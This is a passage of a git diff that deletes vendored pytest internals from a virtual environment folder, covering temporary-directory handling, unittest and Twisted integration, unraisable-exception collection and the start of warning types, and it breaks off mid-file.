The base temporary directory. - """ - if self._basetemp is not None: - return self._basetemp - - if self._given_basetemp is not None: - basetemp = self._given_basetemp - if basetemp.exists(): - rm_rf(basetemp) - basetemp.mkdir(mode=0o700) - basetemp = basetemp.resolve() - else: - from_env = os.environ.get("PYTEST_DEBUG_TEMPROOT") - temproot = Path(from_env or tempfile.gettempdir()).resolve() - user = get_user() or "unknown" - # use a sub-directory in the temproot to speed-up - # make_numbered_dir() call - rootdir = temproot.joinpath(f"pytest-of-{user}") - try: - rootdir.mkdir(mode=0o700, exist_ok=True) - except OSError: - # getuser() likely returned illegal characters for the platform, use unknown back off mechanism - rootdir = temproot.joinpath("pytest-of-unknown") - rootdir.mkdir(mode=0o700, exist_ok=True) - # Because we use exist_ok=True with a predictable name, make sure - # we are the owners, to prevent any funny business (on unix, where - # temproot is usually shared). - # Also, to keep things private, fixup any world-readable temp - # rootdir's permissions. Historically 0o755 was used, so we can't - # just error out on this, at least for a while. - # Don't follow symlinks, otherwise we're open to symlink-swapping - # TOCTOU vulnerability. - # This check makes us vulnerable to a DoS - a user can `mkdir - # /tmp/pytest-of-otheruser` and then `otheruser` will fail this - # check. For now we don't consider it a real problem. otheruser can - # change their TMPDIR or --basetemp, and maybe give the prankster a - # good scolding. - uid = get_user_id() - if uid is not None: - stat_follow_symlinks = ( - False if os.stat in os.supports_follow_symlinks else True - ) - rootdir_stat = rootdir.stat(follow_symlinks=stat_follow_symlinks) - if stat.S_ISLNK(rootdir_stat.st_mode): - raise OSError( - f"The temporary directory {rootdir} is a symbolic link. " - "Fix this and try again." - ) - if rootdir_stat.st_uid != uid: - raise OSError( - f"The temporary directory {rootdir} is not owned by the current user. " - "Fix this and try again." - ) - if (rootdir_stat.st_mode & 0o077) != 0: - chmod_follow_symlinks = ( - False if os.chmod in os.supports_follow_symlinks else True - ) - rootdir.chmod( - rootdir_stat.st_mode & ~0o077, - follow_symlinks=chmod_follow_symlinks, - ) - keep = self._retention_count - if self._retention_policy == "none": - keep = 0 - basetemp = make_numbered_dir_with_cleanup( - prefix="pytest-", - root=rootdir, - keep=keep, - lock_timeout=LOCK_TIMEOUT, - mode=0o700, - register=self._exit_stack.callback, - ) - # Ensure that the cleanup is called on exit (#1120 possibly?). - # But if the exit stack is closed manually (as it normally should), - # unregister the atexit to avoid pile up. - atexit.register(self._exit_stack.close) - self._exit_stack.callback(atexit.unregister, self._exit_stack.close) - assert basetemp is not None, basetemp - self._basetemp = basetemp - self._trace("new basetemp", basetemp) - return basetemp - - -def get_user() -> str | None: - """Return the current user name, or None if getuser() does not work - in the current environment (see #1010).""" - try: - # In some exotic environments, getpass may not be importable. - import getpass - - return getpass.getuser() - except (ImportError, OSError, KeyError): - return None - - -def pytest_configure(config: Config) -> None: - """Create a TempPathFactory and attach it to the config object. - - This is to comply with existing plugins which expect the handler to be - available at pytest_configure time, but ideally should be moved entirely - to the tmp_path_factory session fixture. - """ - mp = MonkeyPatch() - config.add_cleanup(mp.undo) - _tmp_path_factory = TempPathFactory.from_config(config, _ispytest=True) - mp.setattr(config, "_tmp_path_factory", _tmp_path_factory, raising=False) - - -def pytest_addoption(parser: Parser) -> None: - parser.addini( - "tmp_path_retention_count", - help="How many sessions should we keep the `tmp_path` directories, according to `tmp_path_retention_policy`.", - default="3", - # NOTE: Would have been better as an `int` but can't change it now. - type="string", - ) - - parser.addini( - "tmp_path_retention_policy", - help="Controls which directories created by the `tmp_path` fixture are kept around, based on test outcome. " - "(all/failed/none)", - type="string", - default="all", - ) - - -@fixture(scope="session") -def tmp_path_factory(request: FixtureRequest) -> TempPathFactory: - """Return a :class:`pytest.TempPathFactory` instance for the test session.""" - # Set dynamically by pytest_configure() above. - return request.config._tmp_path_factory # type: ignore - - -def _mk_tmp(request: FixtureRequest, factory: TempPathFactory) -> Path: - name = request.node.name - name = re.sub(r"[\W]", "_", name) - MAXVAL = 30 - name = name[:MAXVAL] - return factory.mktemp(name, numbered=True) - - -@fixture -def tmp_path( - request: FixtureRequest, tmp_path_factory: TempPathFactory -) -> Generator[Path]: - """Return a temporary directory (as :class:`pathlib.Path` object) - which is unique to each test function invocation. - The temporary directory is created as a subdirectory - of the base temporary directory, with configurable retention, - as discussed in :ref:`temporary directory location and retention`. - """ - path = _mk_tmp(request, tmp_path_factory) - yield path - - # Remove the tmpdir if the policy is "failed" and the test passed. - policy = tmp_path_factory._retention_policy - result_dict = request.node.stash[tmppath_result_key] - - if policy == "failed" and result_dict.get("call", True): - # We do a "best effort" to remove files, but it might not be possible due to some leaked resource, - # permissions, etc, in which case we ignore it. - rmtree(path, ignore_errors=True) - - del request.node.stash[tmppath_result_key] - - -def pytest_sessionfinish(session, exitstatus: int | ExitCode): - """After each session, remove base directory if all the tests passed, - the policy is "failed", and the basetemp is not specified by a user. - """ - tmp_path_factory: TempPathFactory = session.config._tmp_path_factory - basetemp = tmp_path_factory._basetemp - if basetemp is None: - return - - policy = tmp_path_factory._retention_policy - if ( - exitstatus == 0 - and policy == "failed" - and tmp_path_factory._given_basetemp is None - ): - if basetemp.is_dir(): - # We do a "best effort" to remove files, but it might not be possible due to some leaked resource, - # permissions, etc, in which case we ignore it. - rmtree(basetemp, ignore_errors=True) - - # Remove dead symlinks. - if basetemp.is_dir(): - cleanup_dead_symlinks(basetemp) - - # Run the numbered dirs and lock file cleanups registered on the ExitStack. - tmp_path_factory._exit_stack.close() - - -@hookimpl(wrapper=True, tryfirst=True) -def pytest_runtest_makereport( - item: Item, call -) -> Generator[None, TestReport, TestReport]: - rep = yield - assert rep.when is not None - empty: dict[str, bool] = {} - item.stash.setdefault(tmppath_result_key, empty)[rep.when] = rep.passed - return rep diff --git a/venv/Lib/site-packages/_pytest/tracemalloc.py b/venv/Lib/site-packages/_pytest/tracemalloc.py deleted file mode 100644 index 5d0b19855c734ed8885c1ceb7bec20b34ac66b52..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/tracemalloc.py +++ /dev/null @@ -1,24 +0,0 @@ -from __future__ import annotations - - -def tracemalloc_message(source: object) -> str: - if source is None: - return "" - - try: - import tracemalloc - except ImportError: - return "" - - tb = tracemalloc.get_object_traceback(source) - if tb is not None: - formatted_tb = "\n".join(tb.format()) - # Use a leading new line to better separate the (large) output - # from the traceback to the previous warning text. - return f"\nObject allocated at:\n{formatted_tb}" - # No need for a leading new line. - url = "https://docs.pytest.org/en/stable/how-to/capture-warnings.html#resource-warnings" - return ( - "Enable tracemalloc to get traceback where the object was allocated.\n" - f"See {url} for more info." - ) diff --git a/venv/Lib/site-packages/_pytest/unittest.py b/venv/Lib/site-packages/_pytest/unittest.py deleted file mode 100644 index d5286af147042b835301d2de267f0f1d83556091..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/unittest.py +++ /dev/null @@ -1,653 +0,0 @@ -# mypy: allow-untyped-defs -"""Discover and run std-library "unittest" style tests.""" - -from __future__ import annotations - -from collections.abc import Callable -from collections.abc import Generator -from collections.abc import Iterable -from collections.abc import Iterator -from enum import auto -from enum import Enum -import inspect -import sys -import traceback -import types -from typing import Any -from typing import TYPE_CHECKING -from unittest import TestCase - -from _pytest import fixtures -import _pytest._code -from _pytest._code import ExceptionInfo -from _pytest.compat import assert_never -from _pytest.compat import is_async_function -from _pytest.config import hookimpl -from _pytest.fixtures import FixtureRequest -from _pytest.monkeypatch import MonkeyPatch -from _pytest.nodes import Collector -from _pytest.nodes import Item -from _pytest.outcomes import exit -from _pytest.outcomes import fail -from _pytest.outcomes import skip -from _pytest.outcomes import xfail -from _pytest.python import Class -from _pytest.python import Function -from _pytest.python import Module -from _pytest.runner import CallInfo -from _pytest.runner import check_interactive_exception -from _pytest.subtests import SubtestContext -from _pytest.subtests import SubtestReport - - -if sys.version_info[:2] < (3, 11): - from exceptiongroup import ExceptionGroup - -if TYPE_CHECKING: - from types import TracebackType - import unittest - - import twisted.trial.unittest - - -_SysExcInfoType = ( - tuple[type[BaseException], BaseException, types.TracebackType] - | tuple[None, None, None] -) - - -def pytest_pycollect_makeitem( - collector: Module | Class, name: str, obj: object -) -> UnitTestCase | None: - try: - # Has unittest been imported? - ut = sys.modules["unittest"] - # Is obj a subclass of unittest.TestCase? - # Type ignored because `ut` is an opaque module. - if not issubclass(obj, ut.TestCase): # type: ignore - return None - except Exception: - return None - # Is obj a concrete class? - # Abstract classes can't be instantiated so no point collecting them. - if inspect.isabstract(obj): - return None - # Yes, so let's collect it. - return UnitTestCase.from_parent(collector, name=name, obj=obj) - - -class UnitTestCase(Class): - # Marker for fixturemanger.getfixtureinfo() - # to declare that our children do not support funcargs. - nofuncargs = True - - def newinstance(self): - # TestCase __init__ takes the method (test) name. The TestCase - # constructor treats the name "runTest" as a special no-op, so it can be - # used when a dummy instance is needed. While unittest.TestCase has a - # default, some subclasses omit the default (#9610), so always supply - # it. - return self.obj("runTest") - - def collect(self) -> Iterable[Item | Collector]: - from unittest import TestLoader - - cls = self.obj - if not getattr(cls, "__test__", True): - return - - skipped = _is_skipped(cls) - if not skipped: - self._register_unittest_setup_method_fixture(cls) - self._register_unittest_setup_class_fixture(cls) - self._register_setup_class_fixture() - else: - self._register_unittest_skip_fixture(cls) - - self.session._fixturemanager.parsefactories( - holder=self.newinstance(), node=self - ) - - loader = TestLoader() - foundsomething = False - for name in loader.getTestCaseNames(self.obj): - x = getattr(self.obj, name) - if not getattr(x, "__test__", True): - continue - yield TestCaseFunction.from_parent(self, name=name) - foundsomething = True - - if not foundsomething: - runtest = getattr(self.obj, "runTest", None) - if runtest is not None: - ut = sys.modules.get("twisted.trial.unittest", None) - if ut is None or runtest != ut.TestCase.runTest: - yield TestCaseFunction.from_parent(self, name="runTest") - - def _register_unittest_setup_class_fixture(self, cls: type) -> None: - """Register an auto-use fixture to invoke setUpClass and - tearDownClass (#517).""" - setup = getattr(cls, "setUpClass", None) - teardown = getattr(cls, "tearDownClass", None) - if setup is None and teardown is None: - return None - cleanup = getattr(cls, "doClassCleanups", lambda: None) - - def process_teardown_exceptions() -> None: - # tearDown_exceptions is a list set in the class containing exc_infos for errors during - # teardown for the class. - exc_infos = getattr(cls, "tearDown_exceptions", None) - if not exc_infos: - return - exceptions = [exc for (_, exc, _) in exc_infos] - # If a single exception, raise it directly as this provides a more readable - # error (hopefully this will improve in #12255). - if len(exceptions) == 1: - raise exceptions[0] - else: - raise ExceptionGroup("Unittest class cleanup errors", exceptions) - - def unittest_setup_class_fixture( - request: FixtureRequest, - ) -> Generator[None]: - cls = request.cls - if _is_skipped(cls): - reason = cls.__unittest_skip_why__ - raise skip.Exception(reason, _use_item_location=True) - if setup is not None: - try: - setup() - # unittest does not call the cleanup function for every BaseException, so we - # follow this here. - except Exception: - cleanup() - process_teardown_exceptions() - raise - yield - try: - if teardown is not None: - teardown() - finally: - cleanup() - process_teardown_exceptions() - - fixtures.register_fixture( - # Use a unique name to speed up lookup. - name=f"_unittest_setUpClass_fixture_{cls.__qualname__}", - func=unittest_setup_class_fixture, - node=self, - scope="class", - autouse=True, - ) - - def _register_unittest_skip_fixture(self, cls: type) -> None: - """Register an auto-use fixture to skip tests for a class decorated - with @unittest.skip or @unittest.skipIf (#13885).""" - - def unittest_skip_fixture(request: FixtureRequest) -> None: - reason = getattr(cls, "__unittest_skip_why__", "") - raise skip.Exception(reason, _use_item_location=True) - - fixtures.register_fixture( - name=f"_unittest_skip_fixture_{cls.__qualname__}", - func=unittest_skip_fixture, - node=self, - scope="class", - autouse=True, - ) - - def _register_unittest_setup_method_fixture(self, cls: type) -> None: - """Register an auto-use fixture to invoke setup_method and - teardown_method (#517).""" - setup = getattr(cls, "setup_method", None) - teardown = getattr(cls, "teardown_method", None) - if setup is None and teardown is None: - return None - - def unittest_setup_method_fixture( - request: FixtureRequest, - ) -> Generator[None]: - self = request.instance - if _is_skipped(self): - reason = self.__unittest_skip_why__ - raise skip.Exception(reason, _use_item_location=True) - if setup is not None: - setup(self, request.function) - yield - if teardown is not None: - teardown(self, request.function) - - fixtures.register_fixture( - # Use a unique name to speed up lookup. - name=f"_unittest_setup_method_fixture_{cls.__qualname__}", - func=unittest_setup_method_fixture, - node=self, - scope="function", - autouse=True, - ) - - -class TestCaseFunction(Function): - nofuncargs = True - failfast = False - _excinfo: list[_pytest._code.ExceptionInfo[BaseException]] | None = None - - def _getinstance(self): - assert isinstance(self.parent, UnitTestCase) - return self.parent.obj(self.name) - - # Backward compat for pytest-django; can be removed after pytest-django - # updates + some slack. - @property - def _testcase(self): - return self.instance - - def setup(self) -> None: - # A bound method to be called during teardown() if set (see 'runtest()'). - self._explicit_tearDown: Callable[[], None] | None = None - super().setup() - if sys.version_info < (3, 11): - # A cache of the subTest errors and non-subtest skips in self._outcome. - # Compute and cache these lists once, instead of computing them again and again for each subtest (#13965). - self._cached_errors_and_skips: tuple[list[Any], list[Any]] | None = None - - def teardown(self) -> None: - if self._explicit_tearDown is not None: - self._explicit_tearDown() - self._explicit_tearDown = None - self._obj = None - del self._instance - super().teardown() - - def startTest(self, testcase: unittest.TestCase) -> None: - pass - - def _addexcinfo(self, rawexcinfo: _SysExcInfoType) -> None: - rawexcinfo = _handle_twisted_exc_info(rawexcinfo) - try: - excinfo = _pytest._code.ExceptionInfo[BaseException].from_exc_info( - rawexcinfo # type: ignore[arg-type] - ) - # Invoke the attributes to trigger storing the traceback - # trial causes some issue there. - _ = excinfo.value - _ = excinfo.traceback - except TypeError: - try: - try: - values = traceback.format_exception(*rawexcinfo) - values.insert( - 0, - "NOTE: Incompatible Exception Representation, " - "displaying natively:\n\n", - ) - fail("".join(values), pytrace=False) - except (fail.Exception, KeyboardInterrupt): - raise - except BaseException: - fail( - "ERROR: Unknown Incompatible Exception " - f"representation:\n{rawexcinfo!r}", - pytrace=False, - ) - except KeyboardInterrupt: - raise - except fail.Exception: - excinfo = _pytest._code.ExceptionInfo.from_current() - self.__dict__.setdefault("_excinfo", []).append(excinfo) - - def addError( - self, testcase: unittest.TestCase, rawexcinfo: _SysExcInfoType - ) -> None: - try: - if isinstance(rawexcinfo[1], exit.Exception): - exit(rawexcinfo[1].msg) - except TypeError: - pass - self._addexcinfo(rawexcinfo) - - def addFailure( - self, testcase: unittest.TestCase, rawexcinfo: _SysExcInfoType - ) -> None: - self._addexcinfo(rawexcinfo) - - def addSkip( - self, testcase: unittest.TestCase, reason: str, *, handle_subtests: bool = True - ) -> None: - from unittest.case import _SubTest # type: ignore[attr-defined] - - def add_skip() -> None: - try: - raise skip.Exception(reason, _use_item_location=True) - except skip.Exception: - self._addexcinfo(sys.exc_info()) - - if not handle_subtests: - add_skip() - return - - if isinstance(testcase, _SubTest): - add_skip() - if self._excinfo is not None: - exc_info = self._excinfo[-1] - self.addSubTest(testcase.test_case, testcase, exc_info) - else: - # For python < 3.11: the non-subtest skips have to be added by `add_skip` only after all subtest - # failures are processed by `_addSubTest`: `self.instance._outcome` has no attribute - # `skipped/errors` anymore. - # We also need to check if `self.instance._outcome` is `None` (this happens if the test - # class/method is decorated with `unittest.skip`, see pytest-dev/pytest-subtests#173). - if sys.version_info < (3, 11) and self.instance._outcome is not None: - subtest_errors, _ = self._obtain_errors_and_skips() - if len(subtest_errors) == 0: - add_skip() - else: - add_skip() - - def addExpectedFailure( - self, - testcase: unittest.TestCase, - rawexcinfo: _SysExcInfoType, - reason: str = "", - ) -> None: - try: - xfail(str(reason)) - except xfail.Exception: - self._addexcinfo(sys.exc_info()) - - def addUnexpectedSuccess( - self, - testcase: unittest.TestCase, - reason: twisted.trial.unittest.Todo | None = None, - ) -> None: - msg = "Unexpected success" - if reason: - msg += f": {reason.reason}" - # Preserve unittest behaviour - fail the test. Explicitly not an XPASS. - try: - fail(msg, pytrace=False) - except fail.Exception: - self._addexcinfo(sys.exc_info()) - - def addSuccess(self, testcase: unittest.TestCase) -> None: - pass - - def stopTest(self, testcase: unittest.TestCase) -> None: - pass - - def addDuration(self, testcase: unittest.TestCase, elapsed: float) -> None: - pass - - def runtest(self) -> None: - from _pytest.debugging import maybe_wrap_pytest_function_for_tracing - - testcase = self.instance - assert testcase is not None - - maybe_wrap_pytest_function_for_tracing(self) - - # Let the unittest framework handle async functions. - if is_async_function(self.obj): - testcase(result=self) - else: - # When --pdb is given, we want to postpone calling tearDown() otherwise - # when entering the pdb prompt, tearDown() would have probably cleaned up - # instance variables, which makes it difficult to debug. - # Arguably we could always postpone tearDown(), but this changes the moment where the - # TestCase instance interacts with the results object, so better to only do it - # when absolutely needed. - # We need to consider if the test itself is skipped, or the whole class. - assert isinstance(self.parent, UnitTestCase) - skipped = _is_skipped(self.obj) or _is_skipped(self.parent.obj) - if self.config.getoption("usepdb") and not skipped: - self._explicit_tearDown = testcase.tearDown - setattr(testcase, "tearDown", lambda *args: None) - - # We need to update the actual bound method with self.obj, because - # wrap_pytest_function_for_tracing replaces self.obj by a wrapper. - setattr(testcase, self.name, self.obj) - try: - testcase(result=self) - finally: - delattr(testcase, self.name) - - def _traceback_filter( - self, excinfo: _pytest._code.ExceptionInfo[BaseException] - ) -> _pytest._code.Traceback: - traceback = super()._traceback_filter(excinfo) - ntraceback = traceback.filter( - lambda x: not x.frame.f_globals.get("__unittest"), - ) - if not ntraceback: - ntraceback = traceback - return ntraceback - - def addSubTest( - self, - test_case: Any, - test: TestCase, - exc_info: ExceptionInfo[BaseException] - | tuple[type[BaseException], BaseException, TracebackType] - | None, - ) -> None: - # Importing this private symbol locally in case this symbol is renamed/removed in the future; importing - # it globally would break pytest entirely, importing it locally only will break unittests using `addSubTest`. - from unittest.case import _subtest_msg_sentinel # type: ignore[attr-defined] - - exception_info: ExceptionInfo[BaseException] | None - match exc_info: - case tuple(): - exception_info = ExceptionInfo(exc_info, _ispytest=True) - case ExceptionInfo() | None: - exception_info = exc_info - case unreachable: - assert_never(unreachable) - - call_info = CallInfo[None]( - None, - exception_info, - start=0, - stop=0, - duration=0, - when="call", - _ispytest=True, - ) - msg = None if test._message is _subtest_msg_sentinel else str(test._message) # type: ignore[attr-defined] - report = self.ihook.pytest_runtest_makereport(item=self, call=call_info) - sub_report = SubtestReport._new( - report, - SubtestContext(msg=msg, kwargs=dict(test.params)), # type: ignore[attr-defined] - captured_output=None, - captured_logs=None, - ) - self.ihook.pytest_runtest_logreport(report=sub_report) - if check_interactive_exception(call_info, sub_report): - self.ihook.pytest_exception_interact( - node=self, call=call_info, report=sub_report - ) - - # For python < 3.11: add non-subtest skips once all subtest failures are processed by # `_addSubTest`. - if sys.version_info < (3, 11): - subtest_errors, non_subtest_skip = self._obtain_errors_and_skips() - - # Check if we have non-subtest skips: if there are also sub failures, non-subtest skips are not treated in - # `_addSubTest` and have to be added using `add_skip` after all subtest failures are processed. - if len(non_subtest_skip) > 0 and len(subtest_errors) > 0: - # Make sure we have processed the last subtest failure - last_subset_error = subtest_errors[-1] - if exc_info is last_subset_error[-1]: - # Add non-subtest skips (as they could not be treated in `_addSkip`) - for testcase, reason in non_subtest_skip: - self.addSkip(testcase, reason, handle_subtests=False) - - def _obtain_errors_and_skips(self) -> tuple[list[Any], list[Any]]: - """Compute or obtain the cached values for subtest errors and non-subtest skips.""" - from unittest.case import _SubTest # type: ignore[attr-defined] - - assert sys.version_info < (3, 11), ( - "This workaround only should be used in Python 3.10" - ) - if self._cached_errors_and_skips is not None: - return self._cached_errors_and_skips - - subtest_errors = [ - (x, y) - for x, y in self.instance._outcome.errors - if isinstance(x, _SubTest) and y is not None - ] - - non_subtest_skips = [ - (x, y) - for x, y in self.instance._outcome.skipped - if not isinstance(x, _SubTest) - ] - self._cached_errors_and_skips = (subtest_errors, non_subtest_skips) - return subtest_errors, non_subtest_skips - - -@hookimpl(tryfirst=True) -def pytest_runtest_makereport(item: Item, call: CallInfo[None]) -> None: - if isinstance(item, TestCaseFunction): - if item._excinfo: - call.excinfo = item._excinfo.pop(0) - try: - del call.result - except AttributeError: - pass - - # Convert unittest.SkipTest to pytest.skip. - # This covers explicit `raise unittest.SkipTest`. - unittest = sys.modules.get("unittest") - if unittest and call.excinfo and isinstance(call.excinfo.value, unittest.SkipTest): - excinfo = call.excinfo - call2 = CallInfo[None].from_call(lambda: skip(str(excinfo.value)), call.when) - call.excinfo = call2.excinfo - - -def _is_skipped(obj) -> bool: - """Return True if the given object has been marked with @unittest.skip.""" - return bool(getattr(obj, "__unittest_skip__", False)) - - -def pytest_configure() -> None: - """Register the TestCaseFunction class as an IReporter if twisted.trial is available.""" - if _get_twisted_version() is not TwistedVersion.NotInstalled: - from twisted.trial.itrial import IReporter - from zope.interface import classImplements - - classImplements(TestCaseFunction, IReporter) - - -class TwistedVersion(Enum): - """ - The Twisted version installed in the environment. - - We have different workarounds in place for different versions of Twisted. - """ - - # Twisted version 24 or prior. - Version24 = auto() - # Twisted version 25 or later. - Version25 = auto() - # Twisted version is not available. - NotInstalled = auto() - - -def _get_twisted_version() -> TwistedVersion: - # We need to check if "twisted.trial.unittest" is specifically present in sys.modules. - # This is because we intend to integrate with Trial only when it's actively running - # the test suite, but not needed when only other Twisted components are in use. - if "twisted.trial.unittest" not in sys.modules: - return TwistedVersion.NotInstalled - - import importlib.metadata - - import packaging.version - - version_str = importlib.metadata.version("twisted") - version = packaging.version.parse(version_str) - if version.major <= 24: - return TwistedVersion.Version24 - else: - return TwistedVersion.Version25 - - -# Name of the attribute in `twisted.python.Failure` instances that stores -# the `sys.exc_info()` tuple. -# See twisted.trial support in `pytest_runtest_protocol`. -TWISTED_RAW_EXCINFO_ATTR = "_twisted_raw_excinfo" - - -@hookimpl(wrapper=True) -def pytest_runtest_protocol(item: Item) -> Iterator[None]: - if _get_twisted_version() is TwistedVersion.Version24: - import twisted.python.failure as ut - - # Monkeypatch `Failure.__init__` to store the raw exception info. - original__init__ = ut.Failure.__init__ - - def store_raw_exception_info( - self, exc_value=None, exc_type=None, exc_tb=None, captureVars=None - ): # pragma: no cover - if exc_value is None: - raw_exc_info = sys.exc_info() - else: - if exc_type is None: - exc_type = type(exc_value) - if exc_tb is None: - exc_tb = sys.exc_info()[2] - raw_exc_info = (exc_type, exc_value, exc_tb) - setattr(self, TWISTED_RAW_EXCINFO_ATTR, tuple(raw_exc_info)) - try: - original__init__( - self, exc_value, exc_type, exc_tb, captureVars=captureVars - ) - except TypeError: # pragma: no cover - original__init__(self, exc_value, exc_type, exc_tb) - - with MonkeyPatch.context() as patcher: - patcher.setattr(ut.Failure, "__init__", store_raw_exception_info) - return (yield) - else: - return (yield) - - -def _handle_twisted_exc_info( - rawexcinfo: _SysExcInfoType | BaseException, -) -> _SysExcInfoType: - """ - Twisted passes a custom Failure instance to `addError()` instead of using `sys.exc_info()`. - Therefore, if `rawexcinfo` is a `Failure` instance, convert it into the equivalent `sys.exc_info()` tuple - as expected by pytest. - """ - twisted_version = _get_twisted_version() - if twisted_version is TwistedVersion.NotInstalled: - # Unfortunately, because we cannot import `twisted.python.failure` at the top of the file - # and use it in the signature, we need to use `type:ignore` here because we cannot narrow - # the type properly in the `if` statement above. - return rawexcinfo # type:ignore[return-value] - elif twisted_version is TwistedVersion.Version24: - # Twisted calls addError() passing its own classes (like `twisted.python.Failure`), which violates - # the `addError()` signature, so we extract the original `sys.exc_info()` tuple which is stored - # in the object. - if hasattr(rawexcinfo, TWISTED_RAW_EXCINFO_ATTR): - saved_exc_info = getattr(rawexcinfo, TWISTED_RAW_EXCINFO_ATTR) - # Delete the attribute from the original object to avoid leaks. - delattr(rawexcinfo, TWISTED_RAW_EXCINFO_ATTR) - return saved_exc_info # type:ignore[no-any-return] - return rawexcinfo # type:ignore[return-value] - elif twisted_version is TwistedVersion.Version25: - if isinstance(rawexcinfo, BaseException): - import twisted.python.failure - - if isinstance(rawexcinfo, twisted.python.failure.Failure): - tb = rawexcinfo.__traceback__ - if tb is None: - tb = sys.exc_info()[2] - return type(rawexcinfo.value), rawexcinfo.value, tb - - return rawexcinfo # type:ignore[return-value] - else: - # Ideally we would use assert_never() here, but it is not available in all Python versions - # we support, plus we do not require `type_extensions` currently. - assert False, f"Unexpected Twisted version: {twisted_version}" diff --git a/venv/Lib/site-packages/_pytest/unraisableexception.py b/venv/Lib/site-packages/_pytest/unraisableexception.py deleted file mode 100644 index 6c092fb6bd36c41e5d866302b62d1185b2202498..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/unraisableexception.py +++ /dev/null @@ -1,188 +0,0 @@ -from __future__ import annotations - -import collections -from collections.abc import Callable -import functools -import gc -import sys -import traceback -from typing import NamedTuple -from typing import TYPE_CHECKING -import warnings - -from _pytest.config import Config -from _pytest.nodes import Item -from _pytest.stash import StashKey -from _pytest.tracemalloc import tracemalloc_message -import pytest - - -if TYPE_CHECKING: - pass - -if sys.version_info < (3, 11): - from exceptiongroup import ExceptionGroup - - -# This is a stash item and not a simple constant to allow pytester to override it. -gc_collect_iterations_key = StashKey[int]() - - -def gc_collect_harder(iterations: int) -> None: - for _ in range(iterations): - gc.collect() - - -class UnraisableMeta(NamedTuple): - msg: str - cause_msg: str - exc_value: BaseException | None - - -unraisable_exceptions: StashKey[collections.deque[UnraisableMeta | BaseException]] = ( - StashKey() -) - - -def collect_unraisable(config: Config) -> None: - pop_unraisable = config.stash[unraisable_exceptions].pop - errors: list[pytest.PytestUnraisableExceptionWarning | RuntimeError] = [] - meta = None - hook_error = None - try: - while True: - try: - meta = pop_unraisable() - except IndexError: - break - - if isinstance(meta, BaseException): - hook_error = RuntimeError("Failed to process unraisable exception") - hook_error.__cause__ = meta - errors.append(hook_error) - continue - - msg = meta.msg - try: - warnings.warn(pytest.PytestUnraisableExceptionWarning(msg)) - except pytest.PytestUnraisableExceptionWarning as e: - # This except happens when the warning is treated as an error (e.g. `-Werror`). - if meta.exc_value is not None: - # Exceptions have a better way to show the traceback, but - # warnings do not, so hide the traceback from the msg and - # set the cause so the traceback shows up in the right place. - e.args = (meta.cause_msg,) - e.__cause__ = meta.exc_value - errors.append(e) - - if len(errors) == 1: - raise errors[0] - if errors: - raise ExceptionGroup("multiple unraisable exception warnings", errors) - finally: - del errors, meta, hook_error - - -def cleanup( - *, config: Config, prev_hook: Callable[[sys.UnraisableHookArgs], object] -) -> None: - # On PyPy, objects (e.g. coroutines) can survive GC rounds because executing - # their __del__ can resurrect them. The Trio project determined experimentally - # that 5 passes are needed on PyPy to flush everything. On CPython, reference - # counting handles most cleanup immediately, so 1 pass is sufficient. - _default_gc_collect_iterations = 5 if sys.implementation.name == "pypy" else 1 - gc_collect_iterations = config.stash.get( - gc_collect_iterations_key, _default_gc_collect_iterations - ) - try: - try: - gc_collect_harder(gc_collect_iterations) - collect_unraisable(config) - finally: - sys.unraisablehook = prev_hook - finally: - del config.stash[unraisable_exceptions] - - -def unraisable_hook( - unraisable: sys.UnraisableHookArgs, - /, - *, - append: Callable[[UnraisableMeta | BaseException], object], -) -> None: - try: - # we need to compute these strings here as they might change after - # the unraisablehook finishes and before the metadata object is - # collected by a pytest hook - err_msg = ( - "Exception ignored in" if unraisable.err_msg is None else unraisable.err_msg - ) - summary = f"{err_msg}: {unraisable.object!r}" - traceback_message = "\n\n" + "".join( - traceback.format_exception( - unraisable.exc_type, - unraisable.exc_value, - unraisable.exc_traceback, - ) - ) - tracemalloc_tb = "\n" + tracemalloc_message(unraisable.object) - msg = summary + traceback_message + tracemalloc_tb - cause_msg = summary + tracemalloc_tb - - append( - UnraisableMeta( - msg=msg, - cause_msg=cause_msg, - exc_value=unraisable.exc_value, - ) - ) - except BaseException as e: - append(e) - # Raising this will cause the exception to be logged twice, once in our - # collect_unraisable and once by the unraisablehook calling machinery - # which is fine - this should never happen anyway and if it does - # it should probably be reported as a pytest bug. - raise - - -def pytest_configure(config: Config) -> None: - prev_hook = sys.unraisablehook - deque: collections.deque[UnraisableMeta | BaseException] = collections.deque() - config.stash[unraisable_exceptions] = deque - config.add_cleanup(functools.partial(cleanup, config=config, prev_hook=prev_hook)) - sys.unraisablehook = functools.partial(unraisable_hook, append=deque.append) - - -def pytest_unconfigure(config: Config) -> None: - # Runs before ``_cleanup_stack.close()``, so warning filters from - # cleanup-stack-managed contexts (notably the ``warnings`` plugin's - # ``catch_warnings``) are still installed when garbage-collected - # finalizers fire. A ``config.add_cleanup`` callback would instead - # couple correctness to LIFO pop order across plugins' cleanups. - if unraisable_exceptions not in config.stash: - # ``pytest_configure`` did not complete (e.g. a usage error raised - # in another plugin's configure), so the queue stash was never set. - return - # PyPy can resurrect objects in __del__, so it needs several GC passes - # (5, per the Trio project); CPython frees cycles in one pass. See #14441. - _default_gc_collect_iterations = 5 if sys.implementation.name == "pypy" else 1 - gc_collect_iterations = config.stash.get( - gc_collect_iterations_key, _default_gc_collect_iterations - ) - gc_collect_harder(gc_collect_iterations) - collect_unraisable(config) - - -@pytest.hookimpl(trylast=True) -def pytest_runtest_setup(item: Item) -> None: - collect_unraisable(item.config) - - -@pytest.hookimpl(trylast=True) -def pytest_runtest_call(item: Item) -> None: - collect_unraisable(item.config) - - -@pytest.hookimpl(trylast=True) -def pytest_runtest_teardown(item: Item) -> None: - collect_unraisable(item.config) diff --git a/venv/Lib/site-packages/_pytest/warning_types.py b/venv/Lib/site-packages/_pytest/warning_types.py deleted file mode 100644 index 8fd62ff84b08c8b079dbe6883fdd6b8e38c2608c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/warning_types.py +++ /dev/null @@ -1,166 +0,0 @@ -from __future__ import annotations - -import dataclasses -import inspect -from types import FunctionType -from typing import Any -from typing import final -from typing import Generic -from typing import TypeVar -import warnings - - -class PytestWarning(UserWarning): - """Base class for all warnings emitted by pytest.""" - - __module__ = "pytest" - - -@final -class PytestAssertRewriteWarning(PytestWarning): - """Warning emitted by the pytest assert rewrite module.""" - - __module__ = 